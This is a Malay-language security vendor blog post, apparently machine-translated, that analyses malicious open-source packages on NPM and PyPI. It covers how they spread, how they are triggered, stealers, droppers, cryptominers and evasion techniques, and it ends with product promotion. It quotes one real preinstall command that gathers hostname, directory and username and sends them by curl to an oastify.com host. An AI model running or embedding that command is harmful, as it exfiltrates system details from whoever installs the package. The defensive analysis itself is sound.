Pakej Berniat Jahat 5

Anatomi Pakej Berniat Jahat: Apakah Trendnya?

Dalam episod sebelumnya, Pakej Berbahaya Sumber Terbuka: Masalahnya, kami membincangkan mengapa pelaku ancaman begitu bersemangat untuk menerbitkan komponen berniat jahat baharu atau menyuntik perisian hasad dalam versi terkini komponen sedia ada: Infrastruktur sumber terbuka membolehkan sesiapa sahaja di mana-mana sahaja untuk membuat akaun sementara dalam pendaftaran komponen (seperti NPM, PyPI, Docker Hub atau Visual Studio Marketplace) atau platform pembangunan kolaboratif (seperti GitHub). Kos sifar, dan banyak peluang untuk memanfaatkan kepercayaan berlebihan yang secara tradisinya dimiliki oleh pasukan perisian terhadap komponen pihak ketiga. 

Asimetri antara betapa mudahnya penyerang mengedarkan perisian hasad menggunakan infrastruktur yang tersedia untuk sumber terbuka, dan betapa sukarnya bagi organisasi yang membangunkan perisian (semua orang?) untuk mengelakkan daripada dijangkiti perisian hasad (dan menghantar perisian hasad dalam perisian yang mereka edarkan untuk orang lain), membawa kepada jumlah suku juta pakej berniat jahat yang hampir dicapai tahun lepas. 

Ini merupakan masalah yang begitu besar sehingga tiada satu organisasi pun yang dapat menyelesaikannya, dan komuniti sedang dalam proses membingkai semula proses sumber terbuka mengenai kepercayaan, prinsip selamat-demi-lalai dan selamat-demi-reka bentuk, serta kitaran hayat komponen. Kita akan melihat idea-idea sedemikian dalam episod seterusnya. Melindungi Daripada Pakej Berbahaya Sumber Terbuka: Apa yang (Tidak) Berfungsi.

Ingat bahawa kita sedang bercakap tentang komponen perisian yang kebanyakannya sepadan dengan pakej perisian: komponen boleh guna semula yang dibungkus supaya ia boleh dirujuk sebagai kebergantungan dalam manifes perisian dan dipasang dengan pengurus pakej atau alat binaan. Sila ambil perhatian bahawa kes ini boleh dikembangkan untuk merangkumi awam imej bekas (digunakan oleh runtime kontena dan platform orkestrasi seperti Kubernetes), dan sambungan kepada alat perisian (untuk pembinaan, automasi dan penggunaan). 

Di sini kita menganalisis bagaimana ini taktik serangan berdasarkan komponen berniat jahat berfungsi, mengikut contoh lepas dan apa yang telah kami lihat dalam platform kami untuk Amaran Awal Perisian Hasad (MEW). Kami akan menganalisis komponen berniat jahat dalam dimensi yang berbeza: 

(1) cara yang dipilih untuk pengedaran (daftar yang digunakan, dalam komponen baharu atau sedia ada, dan teknik yang digunakan untuk menjangkiti versi komponen yang diterbitkan), (2) bagaimana malware diaktifkan atau dicetuskan, (3) tingkah laku berniat jahat iaitu tindakan berbahaya yang diperhatikan dan yang manakah menjadi motivasi penyerang, (4) teknik yang biasa digunakan untuk pengaburan, bersembunyi untuk tidak disedari, pergerakan sisi, komunikasi dengan hos arahan dan kawalan (C2), dsb.; dan (5) teknik untuk mendapatkan populariti dan kepercayaan yang mencukupi supaya mangsa akhirnya memasang komponen tersebut.

Mekanisme Pengedaran yang Dipilih

Kami memerhatikan "bunyi latar"pakej berniat jahat yang tidak canggih menggunakan typosquatting untuk memancing data pembangun yang tidak berwaspada dengan kesalahan taip dalam nama pakej untuk kebergantungan mereka. Banyak pakej popular menerima rentetan pakej bernama serupa dengan kesalahan taip, dengan jangkaan bahawa mereka akan memancing data beberapa pembangun yang tidak berwaspada. 

Mereka menggunakan akaun sementara, menerbitkan sekumpulan pakej typosquat, mencipta satu lagi dan menerbitkan kumpulan lain… Dengan menggunakan sedikit automasi dan kepintaran, mereka boleh mendapatkan sedikit kecanggihan, tetapi biasanya ia agak remeh. Kami secara dalaman memanggil mereka “ikan bilisMencuri kelayakan adalah matlamat utama, tetapi kadangkala kita mendapati perisian intip mengekstrak kod sumber atau data sensitif seperti maklumat peribadi (PII), penangkapan papan klip dan keraguan lain.

Secara tiba-tiba kita melihat komponen berniat jahat yang lebih canggih, iaitu "jerung". Sebilangan minoriti disasarkan kepada kumpulan atau organisasi tertentu, biasanya dengan penguras kripto atau skimmer web yang diaktifkan secara bersyarat, mungkin mengikut pendekatan yang dilihat dalam insiden aliran peristiwa untuk menyahsulit muatan serangan hanya apabila pakej dirujuk daripada pakej sasaran. 

Mekanisme pengedaran telah dianalisis dalam kertas kerja yang sangat baik dan kini klasik, "Koleksi Pisau Backstabber: Ulasan Serangan Rantaian Bekalan Perisian Sumber Terbuka", yang wajib dibaca. Pasti anda pernah melihat carta yang bagus ini sebelum ini: 

pakej berniat jahat

Semua jalan telah diterokai, termasuk pakej baharu dan sedia ada; menjejaskan kod sumber, sistem binaan atau komponen yang dibungkus itu sendiri; menggunakan kelayakan yang dicuri atau kejuruteraan sosial; merampas akaun dan repositori yang ditinggalkan atau meracuni akaun dan repositori yang diselenggara. Sesetengah serangan menerima nama (Typosquatting, Kekeliruan Kebergantungan, Kekeliruan yang nyata, Penjanaan semula. dll.) dan telah pun dibincangkan di tempat lain. 

Bagaimana pula dengan pendaftaran yang dipilih?

NPM terus mendahului dalam jumlah pakej berniat jahat, tetapi kita melihat lonjakan bermula tahun ini pada PyPI. Python ialah ekosistem yang popular untuk sains data dan pembelajaran mesin. Malah, kepadatan perisian hasad kini lebih tinggi dalam PyPI berbanding dalam NPM. 

Bagaimana perisian hasad dicetuskan

Pakej berniat jahat dicetuskan semasa pemasangan hanya dalam 4 daripada 10 kes (dalam beberapa tahun kebelakangan ini ia hampir kepada 6 daripada 10). Selebihnya menjalankan tingkah laku berniat jahat semasa masa jalan, dengan 1 daripada 100 dicetuskan semasa menjalankan ujian. Musuh seolah-olah tahu bahawa pelaksanaan skrip pemasangan yang tidak terkawal telah dinyahdayakan di banyak tempat.

Apa yang orang jahat dapat?

Kami akan menyenaraikan kategori tingkah laku berniat jahat, dengan yang paling popular dahulu. Sila ambil perhatian bahawa kesannya mungkin agak berbeza: a pengelap degil merosakkan, tetapi ia tidak biasa dan hanya dilihat dalam beberapa kes, berkaitan dengan kempen perang siber yang disasarkan atau penggodaman yang kejam. Kategori berikut agak biasa:

  • InfoStealer / Pembuang Bukti KelayakanSetakat ini, serangan yang paling kerap berlaku, lebih 90% daripada serangan yang tidak canggih adalah pencuri mudah yang kebanyakannya mencari kelayakan seperti kata laluan, token akses, kunci API dan kunci peribadi (untuk SSH dan sebagainya). Ia mungkin yang paling mudah untuk ditulis (bersama-sama dengan pengelap?). Mereka menyenaraikan fail/direktori yang diketahui dan sumber lain (cth. kunci pendaftaran), membungkus kandungan dan menghantar data tersebut ke pelayan C2. Ideanya mudah: "Saya menerbitkan pencuri untuk kelayakan pancingan data, supaya saya kemudian boleh menggunakan kelayakan tersebut untuk melancarkan serangan yang diarahkan". 

Rangkaian C2 yang diperhatikan biasanya murah dan kotor, seperti saluran Telegram atau alat penggalian terowong seperti ngrok (selalunya dalam bentuk proksi terbalik yang terdedah melalui IP keluar VPN). Terdapat beratus-ratus (!) kemungkinan, dengan banyak projek GitHub di bawah topik pencuri kata laluanPengkhususan seperti keylogger jarang berlaku untuk pakej dan imej kontena yang berniat jahat, tetapi lebih kerap dalam sambungan alat, yang dijangkakan interaksi pengguna.

  • Penitis / Pemuat Turun. Yang kedua dari segi populariti, biasanya menjadi yang pertama dalam serangan berbilang peringkat. Lebih daripada satu dalam tiga komponen berniat jahat mempunyai penitis (jika muatan berniat jahat disertakan dalam pakej) atau pemuat turun (muat dimuat turun dari titik akhir di bawah kawalan penyerang). Muatan selalunya merupakan varian perisian hasad binari yang diketahui, dan ia dijalankan dan kadangkala berterusan, untuk memasang pintu belakang, perisian intip, pengering kripto dan kes penggunaan lain. Muatan yang dimuat turun atau digunakan memulakan serangan fasa kedua dengan semua kuasa yang disediakan oleh binari perisian hasad sedia ada. Binari boleh diedarkan dalam pakej, selalunya menyamar sebagai imej atau jenis fail yang kononnya tidak berbahaya, untuk mengelakkan pengesanan semasa menyambung ke tapak yang tidak dijangka. 
  • Pencuri/Pelombong Mata Wang KriptoMusuh yang bermotivasi kewangan sanggup menggunakan aset awan anda untuk menjalankan pelombong kripto (mereka juga mengesan jika mereka berjalan dalam VM awan). Mereka tidak peduli tentang nisbah keuntungan rendah sebanyak $1 bagi setiap $53 yang dikenakan kepada mangsa untuk infrastruktur awan yang dicuri. Mangsa mungkin tidak menyedari perkara ini sehingga mereka menerima bil yang tidak dijangka. Mujurlah, bil ini datang dan pergi. Cryptojacking kempen dalam pakej berniat jahat kadangkala muncul dan kemudian hilang, pancingan data untuk pengguna dompet atau akhirnya menyasarkan penyedia dompet, seperti dalam Serangan Lejar.   

Tingkah laku lain, seperti menggunakan pintu belakang untuk pelaksanaan kod jarak jauh dengan membuka cangkerang terbalik adalah kurang kerap sekarang berbanding sebelum ini. Contohnya, 123rf_penyumbang_web pakej (kini dialih keluar daripada pendaftaran) dibuka tanpa sebarang kekeliruan, cangkerang terbalik disalin dan ditampal daripada Helaian Menipu Shell Songsang:

pakej berniat jahat 2
Jenis pakej berniat jahat telah diperhatikan sepanjang minggu 24-30 Jun 2024.

Selain komponen yang sah dan berniat jahat, kami telah melihat beberapa penyalahgunaan, termasuk:

Pakej spam

Terdapat beribu-ribu pakej kecil, kebanyakannya dalam NPM, tanpa perisian hasad tetapi menjanjikan pendapatan mudah, minyak ular, pautan ke tawaran Viagra, dan semua itu. Segelintir pengguna menerbitkan spam sedemikian dan mengambil banyak lebar jalur daripada daftar. Pelakon lain mungkin dari Indonesia cuba mendapatkan manfaat dengan menyalahgunakan teaRank bertujuan untuk memberi pampasan kepada pembangun sumber terbuka, dengan mencipta puluhan ribu pakej NPM yang saling berkaitan dengan repositori dummy GitHub yang berkaitan. Ini merupakan pelanggaran yang jelas terhadap terma penggunaan.

Penipuan karunia pepijat dan penyelidikan keselamatan

 Apabila sesuatu pakej menggambarkan dirinya sebagai data penyusupan keluar untuk tujuan yang baik, seperti mengesan kecacatan keselamatan untuk program ganjaran pepijat atau menyelidik aspek tertentu ekosistem. Kami telah melihat beribu-ribu pakej dalam kategori ini, yang mengambil pengenalpastian tetapi bukan data yang terlalu sensitif kepada alamat Kolaborator Burp daripada PortSwigger (cth. hos dalam domain oastify.com). Kami sering memerhatikan peniru daripada Kekeliruan Kebergantungan bukti konsep oleh Alex Birsan, seperti aurora-webmail-pro pakej (dikeluarkan daripada pendaftaran), yang hanya menjalankan kod jahat ini dalam skrip pra-pemasangan:

				
					exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") 

				
			

Dan juga termasuk "Ini ialah Bukti Konsep Serangan Kekeliruan Kebergantungan Mudah"huraian penafian dalam package.jsonIni merupakan pelanggaran yang jelas terhadap syarat perkhidmatan, walaupun tanpa niat jahat. 

Ada berita baik? Kita belum melihat (lagi) serangan ransomware yang dihantar melalui komponen berniat jahat. Atas sebab yang tidak diketahui, penjenayah siber nampaknya lebih suka mekanisme pancingan data e-mel, berasaskan RDP dan penghantaran muat turun pandu lalu yang lebih tradisional. 

Teknik Tambahan Diperhatikan 

pakej berniat jahat 3

Banyak teknik telah digunakan untuk kegigihan, pengelakan pertahanan, pengumpulan maklumat, komunikasi dengan hos arahan & kawalan dan penyusupan keluar. 

Kegigihan dalam komponen berniat jahat diperoleh menggunakan ciri kegigihan dalam perisian hasad binari peringkat kedua, tetapi kadangkala tingkah laku tersebut terletak dalam kod pakej, dengan tugasan berjadual dan perubahan dalam pendaftaran Windows yang paling biasa. 

Pergaduhan adalah perkara biasa, tetapi tidak canggih. Kebanyakan pakej typoscuatting (ingat "ikan bilis"?) langsung tidak menggunakan obfuscation; kebanyakannya menggunakan obfuscation yang remeh (pengekodan base64/hex atau sifer penggantian seperti rot13) atau menggunakan obfuscator kod dan minifikasi yang tersedia, yang mudah diterbalikkan dengan perkakasan yang betul. Hanya "jerung" yang melakukan obfuscation sebenar, tegar, dan sukar untuk diterbalikkan.

Kekeliruan mungkin menyembunyikan serangan, tetapi mengapa kod dalam komponen sumber terbuka perlu dikaburkan? Adakah terdapat bukti bahawa sesuatu perlu disembunyikan daripada pandangan umum? Kami telah menemui banyak contoh pakej bukan berniat jahat yang menggunakan pengeliruan untuk melindungi harta intelek, yang bertentangan dengan "sumber terbuka". Pengeliruan boleh digunakan sebagai bukti perisian hasad, tetapi ia tidak muktamad. Ia juga sukar untuk dinyah-keliruan. 

Penghapusan daripada kawalan pertahanan menggunakan teknik mudah. ​​Kod berniat jahat sering dilindungi dalam cuba … tangkap blok yang mengabaikan sebarang pengecualian, jadi aktiviti abnormal tidak ditunjukkan dalam log. Pengesahan persekitaran (berjalan dalam VM atau bekas) jarang berlaku, melainkan untuk perisian hasad yang menyasarkan organisasi atau persekitaran tertentu.

Menyamar sebagai binari dalam imej dan fail PDF (sejenis steganografi) merupakan satu lagi teknik yang dilihat untuk mengelak pengesanan.

Oleh kerana komponen berniat jahat yang paling biasa ialah pencuri maklumat, pengumpulan data adalah penting. Rahsia (kata laluan, token akses, kunci API, kunci kriptografi) diimbas secara rutin dalam fail log, pembolehubah persekitaran dan juga papan klip (dilihat dengan trojan perbankan dan pencuri kripto). Pengekstrakan kod sumber juga biasa dilakukan, kerana pemasangan pakej sering dilakukan dalam nod pembangunan di mana repositori git dalaman mungkin diklon. Kita telah melihat pakej yang menyenaraikan direktori untuk mencari repositori git. Mencari lokasi seperti .env, private.pem, settings.py, app.js atau application.properties agak biasa.

Ekstrafiltrasi merupakan satu lagi tindakan yang digunakan secara meluas. Hanya sebilangan kecil pakej berniat jahat yang cuba menyembunyikan destinasi data yang diekstrak. Saluran Telegram dan terowong seperti ngrok sering digunakan. Dan terdapat banyak biasanya domain yang disenarai putih digunakan untuk pengekstrakan. 

Teknik lain, seperti peningkatan keistimewaan atau pergerakan lateral, kurang biasa. 

Memperoleh Populariti dan Kepercayaan

Bayangkan seorang penjahat teknologi dengan pembunuh yang sedia ada dan berniat jahat tertanya-tanya: “Bagaimana saya boleh menjadikan benda tak guna ini boleh dipercayai oleh orang bodoh yang tidak curiga itu?” 

Itu diterjemahkan kepada cara membuat entri untuk komponen berniat jahat bagi menunjukkan banyak bintang/cabang (untuk populariti), serta versi/isu dan pull requests (untuk aktiviti). Ideanya adalah untuk mendapatkan populariti (bintang) dan tanggungan rekaan, serta pandangan yang meyakinkan mengenai kerelevanan dan penyelenggaraan. 

Pendaftaran tidak menyemak sama ada kandungan dalam projek GitHub dan kandungan pakej sepadanIni merupakan isu yang terkenal dalam rantaian bekalan perisian. Daftar awam merupakan lubang benam gergasi yang menelan semua yang dilemparkan kepada mereka. Anda boleh memautkan mana-mana repositori. 

pakej berniat jahat 4
Pengagihan bukti dalam potensi perisian hasad sepanjang minggu 24-30 Jun 2024.

Jika pakej berniat jahat itu melakukan typo-squat pada pakej yang popular, itu mudah: hanya rujuk repositori GitHub sedia ada dalam manifes kebergantungan yang digunakan untuk mencipta pakej dan menerbitkannya ke dalam pendaftaran. Untuk pakej baharu pada repo GitHub palsu, anda mungkin memerlukan lebih banyak kepintaran, mungkin mencipta pakej palsu memerhati bintang/bercabang Akaun GitHub melalui skrip.

Dan jika kandungan pakej anda agak serupa dengan repositori, masukkan beberapa perubahan yang direka bentuk dengan baik di sana sini… Anda boleh menyuntik perisian hasad anda ke dalam pakej baharu yang menyerupai pakej popular yang merujuk kepada repositori sedia ada, dan tunggu kesilapan taip. Jika sesiapa berani membandingkan kandungan tarball pakej dengan kandungan daripada repositori GitHub, perbezaan pada titik suntikan perisian hasad boleh terlepas pandang dengan mudah. ​​Kita telah melihat pendekatan ini berkali-kali sebelum ini. 

Satu mekanisme untuk komponen membuat pernyataan kalis gangguan tentang asal usul, bagaimana pakej itu dibina, daripada sumber apa, dan oleh siapa, akan dialu-alukan. Tetapi itu cerita lain. 

Adakah komponen X itu perisian hasad?

Adakah terdapat pangkalan data (komprehensif) pakej berniat jahat? Tidak. Kerentanan sumber terbuka mempunyai ID CVE yang diberikan, tetapi hanya beberapa pakej berniat jahat (terutamanya yang menjadi tajuk utama) yang diberikan. CWE untuk pakej berniat jahat ialah CWE-506 (kod berniat jahat terbenam). 

Alat perisian hasad biasa (VirusTotal, MalwareBazaar, SOREL-20M…) tidak membuat peruntukan khusus untuk komponen berniat jahat. Itu dialu-alukan!

Terdapat pangkalan data sampel penyelidikan dan set data untuk analisis (kami menggunakan beberapa daripadanya), tetapi entri hanya dikemas kini apabila pakej berniat jahat diketahui, yang selalunya sudah terlambat. Jika anda berminat, OpenSSF Pakej Berniat Jahat adalah permulaan yang baik.

Dalam catatan seterusnya, kita akan membincangkan cara untuk mengetahui sama ada pakej tertentu berniat jahat. Spoiler: ya, terdapat cara untuk menyemak komponen berniat jahat lebih awal semasa tetingkap pendedahan, sebelum pendaftaran mengalih keluar komponen berniat jahat yang diketahui.

Bacaan lanjut

Dalam episod seterusnya “Melindungi Daripada Pakej Berbahaya Sumber Terbuka: Apa yang (Tidak) Berfungsi" kita akan membincangkan perkara yang boleh dan tidak boleh dilakukan untuk keselamatan sumber terbuka. Kebanyakan profesional yang peka terhadap keselamatan mempunyai intuisi tentang cara menangani ancaman ini, tetapi terdapat banyak salah tanggapan. 

Kami akan mengkaji semula mengapa idea-idea ini salah, dan bagaimana salah tanggapan sedemikian menyumbang kepada populariti mekanisme serangan ini, dan kepada risiko besar yang dialami oleh organisasi. Kemudian, kami akan meneruskan dengan apa yang berkesan, dan usaha serta sumber yang terlibat. 

Selain itu, kami akan menyiarkan tentang evolusi pakej berniat jahat dari segi niat, mekanisme suntikan dan teknik serangannya.

Tinggal!

Rujukan

Pakej Berbahaya Sumber Terbuka: Masalahnya

Melindungi Daripada Pakej Berbahaya OSS: Apa yang (Tidak) Berfungsi

alat-analisis-komposisi-perisian-alat-sca
Utamakan, pulihkan dan lindungi risiko perisian anda
Dapatkan Akaun Percuma anda.
Tiada kad kredit yang diperlukan.

Lindungi pembangunan dan penghantaran perisian anda

dengan Suit Produk Xygeni